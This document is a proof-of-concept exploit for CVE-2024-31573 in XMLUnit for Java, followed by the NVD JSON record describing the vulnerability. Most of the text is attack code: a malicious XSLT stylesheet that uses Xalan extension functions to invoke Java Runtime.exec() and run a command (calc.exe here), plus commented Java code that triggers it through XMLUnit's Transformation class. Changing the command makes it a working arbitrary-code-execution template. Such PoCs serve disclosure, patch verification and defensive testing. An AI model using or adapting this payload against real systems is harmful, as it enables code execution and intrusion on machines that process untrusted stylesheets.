CVE-2024-31573

<?xml version="1.0" encoding="UTF-8"?> <!-- * PoC for CVE-2024-31573 * XMLUnit for Java XSLT Extension Function Code Execution * This malicious XSLT stylesheet exploits enabled XSLT extension functions * to execute arbitrary commands via Java Runtime.exec() --> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:str="http://xml.apache.org/xalan/java/java.lang.String" exclude-result-prefixes="rt str"> <xsl:template match="/"> <xsl:variable name="runtime" select="rt:getRuntime()"/> <xsl:variable name="command"> <str:new>calc.exe</str:new> </xsl:variable> <xsl:variable name="process" select="rt:exec($runtime, $command)"/> <result> <status>Code execution attempted</status> <command><xsl:value-of select="$command"/></command> </result> </xsl:template> </xsl:stylesheet> // Java code to trigger the vulnerability using XMLUnit: /* import org.xmlunit.transform.Transformation; import org.xmlunit.transform.Transform; import javax.xml.transform.Source; import javax.xml.transform.stream.StreamSource; import java.io.StringReader; public class XsltExploit { public static void main(String[] args) throws Exception { String maliciousXslt = "<!-- above XSLT content -->"; Source xsltSource = new StreamSource(new StringReader(maliciousXslt)); Source xmlSource = new StreamSource(new StringReader("<root/>")); // XMLUnit before 2.10.0 - extension functions enabled by default Transformation transformation = new Transformation(xmlSource, xsltSource); // This will trigger code execution transformation.transform(); } } */

{"cve": {"id": "CVE-2024-31573", "sourceIdentifier": "[email protected]", "published": "2025-10-17T19:15:36.627", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "XMLUnit for Java before 2.10.0, in the default configuration, might allow code execution via an untrusted stylesheet (used for an XSLT transformation), because XSLT extension functions are enabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-669"}]}], "references": [{"url": "https://github.com/advisories/GHSA-chfm-68vv-pvw5", "source": "[email protected]"}, {"url": "https://github.com/xmlunit/xmlunit/commit/b81d48b71dfd2868bdfc30a3e17ff973f32bc15b", "source": "[email protected]"}, {"url": "https://github.com/xmlunit/xmlunit/issues/264", "source": "[email protected]"}, {"url": "https://github.com/xmlunit/xmlunit/issues/264", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}